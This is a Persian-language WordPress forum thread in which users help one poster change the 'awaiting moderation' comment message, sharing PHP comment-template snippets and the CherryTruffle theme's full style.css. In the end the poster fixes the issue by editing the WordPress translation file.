<a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php echo get_comment_date();?> at <?php echo get_comment_time();?></a>
<?php edit_comment_link(__('(Edit)'),' ','') ?>
</div>
<?php comment_text(); ?>
<div class="reply">
<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
</div>
</div>
<?php
// Do not include the </li> tag.
}
?>
<?php
// Do not include the </li> tag.
}
?>
این آخر کدتون دوبار تکرار شده و حذف کنید :
<?php
// Do not include the </li> tag.
}
?>
سلام
منم نسبتا مشکل مشابه دارم. اما میخوام وقتی کسی کامنت میزاره جلو اسمش ننویسه x می گه:
چه فایلی برم ؟
سلام
براي اينكار بايد در فايل comments.php قالبتون تغيير ايجاد كنيد يا كل محتويات فايل رو اينجا قرار بديد
man4toman گفت:
این آخر کدتون دوبار تکرار شده و حذف کنید :
<?php // Do not include the </li> tag. } ?>
خوب این درست. برای کامنت هم که لاین 1333 ارور میده چی؟
wpwp گفت:
سلام
منم نسبتا مشکل مشابه دارم. اما میخوام وقتی کسی کامنت میزاره جلو اسمش ننویسه x می گه:
چه فایلی برم ؟
comments.php دنبالش بگردبد و ویرایش کنید. همونطور که rj گفت.
اون خط ارور رو هم کپی کنید.
آقا فانکشن تو خط 637 ارور داد دوباره! بعد این خط توش وجود نداره برای کامنت هم همینه! توش نیست! نمیدونم چه مرگشه! فانکشن هم که به هم میریزه سایت نمیاد بالا دیگه.
اگر بخواین میتونین کل قالب رو برای من ارسال کنید تا بررسی کنم.
به همین آی دی در جیمیل.
man4toman گفت:
اگر بخواین میتونین کل قالب رو برای من ارسال کنید تا بررسی کنم.
به همین آی دی در جیمیل.
پوسته ضمیمه و به آدرس man4toman@gmail.com ارسال شد.
از کمکاتون واقعاً ممنونم. تشکر
تست کردم. از فایل فانکشن ارور میگیره. اما چرا؟
انکد فایل comments.php روی with signature هست. بزارید روی without
موفق باشید ;)
man4toman گفت:
تست کردم. از فایل فانکشن ارور میگیره. اما چرا؟
انکد فایل comments.php روی with signature هست. بزارید روی without
موفق باشید ;)
تشکر. این اینکد تو کجاست؟ یعنی همین کدهایی که دادید رو دوباره کپی کنم و فقط اون قسمت رو ادیت کنم؟ این سیگنچرش کجاست؟
شما باید فایل comments رو توی یک ادیتور باز کنی و گزینه save as رو با آپشن without signature بزنی.
حالا من فایل رو ادیت شده برای شما آپ کردم.
http://www.mediafire.com/?hn1op5g7nkl4jdk
man4toman گفت:
شما باید فایل comments رو توی یک ادیتور باز کنی و گزینه save as رو با آپشن without signature بزنی.
حالا من فایل رو ادیت شده برای شما آپ کردم.
http://www.mediafire.com/?hn1op5g7nkl4jdk
آقا خیلی تشکر. همینو جایگزین کنم بسه؟ دیگه از کدهایی که قبلاً دادید تو فانکشن استفاده نکنم؟
سلام ، يك راه آسان تر براي تغيير اين پيام استفاده از اين كدها در فايل comment.php هست
<div id=ghabol>
<?php if ($comment->comment_approved == '0'):_e("<span class='unapproved'>با تشكر از نظر شما !!! نظر شما براي نمايش در سايت بايد تاييد گردد.</span>\n") ?>
<?php endif; ?>
</div>
و اضافه كردن يه كلاس به فايل style.css قالبتون با نام ghabol (به عنوان مثال) .
r.j گفت:
سلام ، يك راه آسان تر براي تغيير اين پيام استفاده از اين كدها در فايل comment.php هست
<div id=ghabol> <?php if ($comment->comment_approved == '0'):_e("<span class='unapproved'>با تشكر از نظر شما !!! نظر شما براي نمايش در سايت بايد تاييد گردد.</span>\n") ?> <?php endif; ?> </div>
و اضافه كردن يه كلاس به فايل style.css قالبتون با نام ghabol (به عنوان مثال) .
میشه استایلشم بهم بدی؟
ghabol.
استايل خاصي نداره ميشه رنگ و فونتشو عوض كرد و مكانش هم وابساته به قالب شما متغيره
مثلا
#ghabol{
color: #3333FF;
margin-right: 7px;
}
براي تغيير # به نقطه id رو به class تغيير بديد
<div id=ghabol>
به
<div class=ghabol>
و # به .
اينجوري بهتره
r.j گفت:
استايل خاصي نداره ميشه رنگ و فونتشو عوض كرد و مكانش هم وابساته به قالب شما متغيره
مثلا
#ghabol{ color: #3333FF; margin-right: 7px; }
آقا دستت درد نکنه. دمت گرم. عمل میکنه فقط یه مشکل داره. اونم این که اون پیام قبلی در انتظار بررسی هنوز زیر آواتار میاد و این پیام جدید بالای فرم نوشتن کامنت میاد. چه جوری جابجا کنم؟
اینم استایل من:
/*
Theme Name: CherryTruffle
Theme URI: http://www.elegantwordpressthemes.com/themes/cherrytruffle
Description: آماده سازي پوسته براي استفادهي فارسيزبانان توسط <a href="http://tarhiran.com">طرحايران</a>
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
*/
body {
margin: 0px;
padding: 0;
color: #34302a;
background-color:#34302a;
font-family: Arial;
font-size: 12px;
line-height: 22px;
background-image: url(images/bg.gif);
background-repeat: repeat-x;
}
.headings {
width: 194px;
background-color: #eeeedd;
display: block;
height: 28px;
font-weight: bold;
color: #7b7b6f;
padding-left: 20px;
padding-top: 3px;
clear: both;
}
#wrapper2 {
width: 950px;
margin: auto;
padding: 0px 0px 0px 0px;
margin-top: 35px;
}
.post-wrapper {
width: 636px;
margin-top: 15px;
}
.rule {
clear: both;
border-top: 1px solid #eeeedd;
width: 636px;
margin: 15px 0px;
float: left;
}
a:link {
text-decoration: none;
color: #7b7b6f;
}
a:visited {
text-decoration: none;
color: #7b7b6f;
}
a:hover, a:active {
color: #3B3B3B;
}
h1, h2, h3, h4, h5, h6 {
font-weight: normal;
margin: 0px 0 10px;
}
h2 {
font-size: 28px;
}
h3 {
font-size: 24px;
}
.home-wrapper {
width: 636px;
border-top: 1px solid #eeeedd;
margin-top: 15px;
}
.home-left {
width: 420px;
border-right: 1px solid #eeeedd;
float: left;
}
.home-post-wrap {
width: 395px;
border-bottom: 1px solid #eeeedd;
padding: 15px 25px 25px 0px;
}
.home-post-wrap-2 {
width: 636px;
border-bottom: 1px solid #eeeedd;
padding: 15px 0px;
}
.home-post-wrap-3 {
width: 636px;
border-bottom: 1px solid #eeeedd;
padding: 0px;
}
.home-right {
width: 214px;
float: left;
}
.home-sidebar-box {
padding: 15px 0px 0px 20px;
float: left;
clear: both;
}
.home-sidebar-box ul {
margin: 0px 0px 15px 15px;
padding-left: 0px;
float: left;
}
.readmore {
background-image: url(images/bullet.gif);
background-repeat: no-repeat;
background-position: left;
float: right;
padding-left: 20px;
margin-top: 10px;
}
.readmore a:link, .readmore a:hover {
color: #7b7b6f;
}
h4, h5, h6 {
font-size: 20px;
}
.titles a:link, .titles a:visited, .titles a:active {
text-decoration: none;
font-size: 20px;
font-family: Georgia;
margin-top: 10px;
color: #6a909f;
float: left;
margin-bottom: 15px;
clear: both;
}
.titles-orange a:link, .titles-orange a:visited, .titles-orange a:hover {
text-decoration: none;
font-size: 20px;
font-family: Georgia;
margin-top: 10px;
float: left;
margin-bottom: 15px;
color: #e56100;
}
.titles-featured a, .titles-featured a:hover, .titles-featured a:visited, .titles-featured, .post-title a:link, .post-title a:hover, .post-title a:visited {
margin-bottom: 10px;
font-family: Georgia;
color: #e56100;
float: left;
font-size: 28px;
line-height: 30px;
font-weight: normal;
}
.post-title {
margin-top: 30px;
}
.featured-date {
text-transform: uppercase;
color: #76a0b0;
font-family: Arial;
font-size: 25px;
float: left;
margin-left: 12px;
line-height: 30px;
}
pre, blockquote {
overflow: auto;
padding: 0 10px;
margin: 20px 30px;
line-height: 1.8em;
background-color: #f5f5f5;
border: 1px solid #e0e0e0;
}
pre:hover, blockquote:hover {
background-color: #f0f0f0;
border: 1px solid #d0d0d0;
}
#pages {
width: 100%;
float: left;
height: 74px;
background-color: #ebe9d8;
}
#pages-inside {
width: 100%;
float: left;
height: 70px;
background-color: #FFF;
}
#pages-inside-2 {
width: 950px;
margin: auto;
}
#categories {
width: 950px;
float: left;
background-color: #a7a697;
min-height: 48px;
margin-top: 40px;
}
#categories ul {
margin: 0px;
padding-left: 0px;
list-style-type: none;
list-style-image: none;
float: left;
}
#categories ul li {
float: left;
display: block;
padding-left: 0px;
height: 48px;
}
#categories ul li a:link,#categories ul li a:visited, #categories ul li a:active {
height: 24px;
display: block;
color: #FFFFFF;
font-size: 12px;
padding: 12px 20px;
float: left;
margin: 0px;
}
#categories ul li a:hover {
background-color: #76a0b0;
}
#header {
width: 950px;
margin-top: 0px;
height: 219px;
background-color: #373434;
background-image: url(images/header-bg.gif);
background-repeat: repeat-x;
float: left;
}
#container {
float: left;
width: 950px;
background-image: url(images/bg.gif);
background-repeat: repeat-y;
background-position: left;
}
#left-div {
width: 669px;
background-color: #FFF;
float: left;
padding-left: 28px;
}
#left-inside {
float: left;
padding: 0px 0px 0px 19px;
}
.adwrap {
margin-left: 9px;
float: left;
padding: 5px 0px;
}
.adwrap a, .adwrap a:hover, .adwrap a:visited {
margin-right: 5px;
margin-bottom: 5px;
display: block;
float: left;
}
#sidebar {
float: right;
width: 251px;
color: #959487;
background-color: #e9e9d9;
border-right: 1px solid #dedeca;
padding-left: 1px;
}
#footer {
clear: both;
float: left;
width: 669px;
padding-left: 28px;
color: #7b7b6f;
padding-top: 14px;
font-size: 11px;
background-color: #f5f5eb;
border-bottom: 4px solid #e9e9d9;
}
.footer-box {
float: left;
width: 200px;
margin-right: 23px;
margin-bottom: 20px;
}
.footer-box ul {
list-style: none;
margin: 0px;
padding-left: 0px;
}
.footer-box li {
margin-bottom: 10px;
}
.footer-box h3 {
color: #709e8a;
font-family: Georgia;
margin-bottom: 15px;
font-size: 18px;
}
#footer a:link, #footer a:hover, #footer a:visited {
color: #7b7b6f;
font-size: 11px;
}
#pages-inside ul {
list-style-type: none;
list-style-image: none;
padding: 0px 0px 0px 0px;
margin: 0px;
}
#pages-inside ul li {
float: left;
display: block;
height: 70px;
padding: 0px;
margin: 0px;
}
#pages-inside ul li a:link,#pages-inside ul li a:visited, #pages-inside ul li a:active {
float: left;
color: #887a68;
display: block;
height: 47px;
font-size: 14px;
padding: 23px 20px 0px 20px;
margin: 0px;
}
#pages-inside ul li a:hover {
background-color: #f9f9f4;
}
.sidebar-box {
padding: 13px 15px;
margin-bottom: 5px;
float: right;
width: 220px;
border-left: 1px solid #fff;
border-top: 1px solid #fff;
background-color: #f5f5eb;
}
.sidebar-box ul li a:link, .sidebar-box ul li a:visited, .sidebar-box ul li a:active {
color: #959487;
}
.sidebar-box ul li {
margin: 5px 3px 3px 5px;
clear: both;
}
.sidebar-box ul {
list-style: circle;
clear: both;
margin-left: 0px;
padding-left: 20px;
margin-top: 0px;
padding-top: 0px;
}
.sidebar-box ul li a:hover {
color: #959487;
}
.sidebar-box-title {
font-size: 14px;
color: #FFF;
padding: 7px 11px;
background-color: #7bab96;
text-transform: lowercase;
margin: 0px 0px 10px 0px;
float: left;
border-right: 1px solid #fff;
border-bottom: 1px solid #fff;
}
#commentform {
margin: 1em 0;
background: #FFFFFF;
margin-left: 20px;
}
#commentform textarea {
background: #f8f7f6;
border: 1px solid #d6d3d3;
width: 370px;
}
#commentform #email {
font-size: 1.1em;
background: #f8f7f6;
border: 1px solid #d6d3d3;
width: 280px;
height: 20px;
padding-left: 30px;
padding-top: 6px;
}
#commentform #author {
font-size: 1.1em;
background: #f8f7f6;
border: 1px solid #d6d3d3;
width: 280px;
height: 20px;
padding-left: 30px;
padding-top: 6px;
}
#commentform #url {
font-size: 1.1em;
background: #f8f7f6;
border: 1px solid #d6d3d3;
width: 280px;
height: 20px;
padding-left: 30px;
padding-top: 6px;
}
#commentform #email:focus {
font-size: 1.1em;
background: #ffffff;
border: 1px solid #939793;
width: 280px;
height: 20px;
padding-left: 30px;
padding-top: 6px;
}
#commentform #author:focus {
font-size: 1.1em;
background: #ffffff;
border: 1px solid #939793;
width: 280px;
height: 20px;
padding-left: 30px;
padding-top: 6px;
}
#commentform #url:focus {
font-size: 1.1em;
background: #ffffff;
border: 1px solid #939793;
width: 280px;
height: 20px;
padding-left: 30px;
padding-top: 6px;
}
#commentform input {
margin-bottom: 3px;
}
.search_bg {
float: right;
margin-top: 18px;
margin-left: 10px;
}
.search_bg #s {
background: #FFF;
font-size:11px;
color:#abab91;
font-family: Arial;
width:150px;
vertical-align:middle;
padding:10px;
border: 1px solid #e5e3d3;
}
.search_bg #searchsubmit {
background-color: #e56100;
color: #fff;
font-weight: bold;
cursor: pointer;
border: 5px solid #f6f6e9;
vertical-align:middle;
text-transform: lowercase;
margin-left: 10px;
height: 30px;
padding-bottom: 10px;
}
#about-image {
float: left;
display: inline;
margin-right: 10px;
border: 5px solid #fff;
}
.thumbnail-div {
border: 1px solid #e7e7d4;
float: left;
margin-right: 10px;
padding: 6px;
display: inline;
}
.post-info {
color: #abab91;
font-size: 12px;
text-transform: uppercase;
float: left;
clear: both;
}
.post-info a:link, .post-info a:hover, .post-info a:visited {
color: #000;
}
.logo {
float: left;
width: 950px;
height: 65px;
}
.slogan {
background: #fff;
border: 1px solid #e5e5cf;
font-size: 24px;
color: #887a68;
float: left;
text-transform: lowercase;
padding: 8px 10px;
height: 23px;
}
.bluetitle, .bluetitle a:link, .bluetitle a:hover, .bluetitle a:visited {
font-size: 72px;
font-family: Georgia;
color: #76a0b0;
float: left;
}
.redtitle, .redtitle a:link, .redtitle a:hover, .redtitle a:visited {
font-size: 72px;
font-family: Georgia;
color: #e56100;
float: left;
}
ul, ol { line-height: 2.0em; }
.featured-thumb {
border: 10px solid #eeeedd;
margin-bottom: 19px;
}
.featured {
background-color: #FFF;
width: 636px;
margin-top: 20px;
}
.featured-thumb-wrapper {
position: relative;
float: left;
}
.featured-categories {
position: absolute;
width: 690px;
float: left;
margin-top: -85px;
margin-left: -17px;
}
.featured-categories ul, .featured-categories li {
list-style: none;
float: left;
}
.featured-categories a:link, .featured-categories a:visited {
background-color: #76a0b0;
font-weight: bold;
text-transform: uppercase;
display: block;
padding: 5px 10px;
color: #fff;
float: left;
margin-right: 10px;
}
.featured-categories a:hover {
background-color: #80b79f;
}
.featured-content {
float: right;
width: 353px;
margin-right: 5px;
}
.current-category {
background-color: #FFF;
color: #7b7b6f;
border: 1px solid #EBEBEB;
padding: 5px;
display: block;
margin-bottom: 10px;
margin-top: 25px;
width: 603px;
}
/* Captions */
.aligncenter,
div.aligncenter {
display: block;
margin-left: auto;
margin-right: auto;
}
.wp-caption {
border: 1px solid #ddd;
text-align: center;
background-color: #f3f3f3;
padding-top: 4px;
margin: 10px;
}
.wp-caption img {
margin: 0;
padding: 0;
border: 0 none;
}
.wp-caption p.wp-caption-text {
font-size: 12px;
line-height: 17px;
padding: 0 4px 5px;
margin: 0;
}
/* End captions */
/* Begin Images */
p img {
padding: 0;
max-width: 100%;
}
/* Using 'class="alignright"' on an image will (who would've
thought?!) align the image to the right. And using 'class="centered',
will of course center the image. This is much better than using
align="center", being much more futureproof (and valid) */
img.centered {
display: block;
margin-left: auto;
margin-right: auto;
}
img.alignright {
padding: 4px;
margin: 0 0 2px 7px;
display: inline;
}
img.alignleft {
padding: 4px;
margin: 0 7px 2px 0;
display: inline;
}
.alignright {
float: right;
}
.alignleft {
float: left
}
/* End Images */
.nav, .nav * {margin:0;padding:0;list-style:none;}
.nav ul {position:absolute;top:-999em; border-bottom: 4px solid #6b919f;}
#nav2 ul {border-bottom: 4px solid #ebe9d8;}
.nav li {float:left;position:relative;z-index:99;}
#nav2 li {
z-index: 100;
}
.nav a {display:block;}
.nav ul li{width: 100%;}
.nav li:hover ul,ul.nav li.sfHover ul {left:0px;top:48px;}
#nav2 li:hover ul,ul#nav2 li.sfHover ul {top:70px;}
.nav li:hover li ul,.nav li.sfHover li ul {top:-999em;}
.nav li li:hover ul,ul.nav li li.sfHover ul {left:220px;top:0px;}
.nav li:hover ul,.nav li li:hover ul {top: -999em;}
/*** Skinning - Superfish menu (Some final font colors and backgrounds) ***/
.nav li li {
display: block;
padding: 0px;
height: auto !important;
}
.nav li:hover {
background-color: #76a0b0 !important;
}
.nav li li a:link, .nav li li a:visited {
width: 180px;
display: block;
background-color: #76a0b0;
height: auto !important;
}
.nav li li a:hover {
background-color: #80b79f !important;
}
#nav2 li li a:link, #nav2 li li a:visited {
height: 35px;
padding: 10px 20px 0px 20px;
}
#nav2 li:hover {
background-color: #f9f9f4 !important;
}
#nav2 li li a:hover {
background-color: #fff !important;
}
#nav2 li li a:link, #nav2 li li a:visited {
background-color: #f9f9f4;
padding-bottom: 8px;
}
#searchform {
margin-right: 20px;
margin-bottom: 15px;
}
.commentmetadata {
text-transform: uppercase;
color: #abab91;
font-size: 12px;
text-transform: uppercase;
margin-top: 10px;
}
#comments {
margin-top: 30px;
}
.commentmetadata a:link, .commentmetadata a:hover, .commentmetadata a:visited {
color: #abab91;
}
.fn, .fn a:link, .fn a:hover, .fn a:visited, .says {
color: #e56100;
font-family: Georgia;
font-size: 17px;
font-style: normal;
}
.avatar {
border: 5px solid #eeeedd;
margin-bottom: -15px;
margin-right: 10px;
width: 50px;
height: 50px;
}
.ghabol{
color: #3333FF;
margin-right: 7px;
}
.comment {
border-bottom: 1px solid #eeeedd;
margin-bottom: 15px;
float: left;
clear: both;
width: 100%;
list-style: none;
}
.children .comment {
border-top: 1px solid #eeeedd;
border-bottom: none;
padding-top: 15px;
margin-bottom: 0px;
}
.comment-reply-link, .comment-reply-link:visited {
color: #fff !important;
display: block;
font-weight: bold;
background-color: #76a0b0;
padding: 2px 7px;
float: right;
text-transform: lowercase;
font-size: 11px;
margin-bottom: 10px;
margin-top: -10px;
}
.commentlist li ul.children li.depth-2, .commentlist li ul.children li.depth-3, .commentlist li ul.children li.depth-4, .commentlist li ul.children li.depth-5 {
margin: 10px 0 0 0;
}
.comment-reply-link:hover {
background-color: #7bab96;
color: #fff;
}
.cancel-comment-reply a:link, .cancel-comment-reply a:visited {
color: #fff !important;
display: block;
font-weight: bold;
background-color: #76a0b0;
padding: 0px 5px;
text-transform: lowercase;
font-size: 10px;
float: left;
clear: both;
}
#commentform {
clear: both;
float: left;
}
.cancel-comment-reply a:hover {
background-color: #7bab96;
color: #fff;
}
اگه قالبتون خصوصي نيست اون رو رو به اين ايميل ارسال كنيد تا واستون اصلاحش كنم
reza.jahani2011@gmail.com
r.j گفت:
اگه قالبتون خصوصي نيست اون رو رو به اين ايميل ارسال كنيد تا واستون اصلاحش كنم
reza.jahani2011@gmail.com
تشکر. فرستادم.
دوستان همون فایل ترجمه وردپرس رو ویرایش کردم و درست شد. ربطی به فایلهای پوسته نداشت!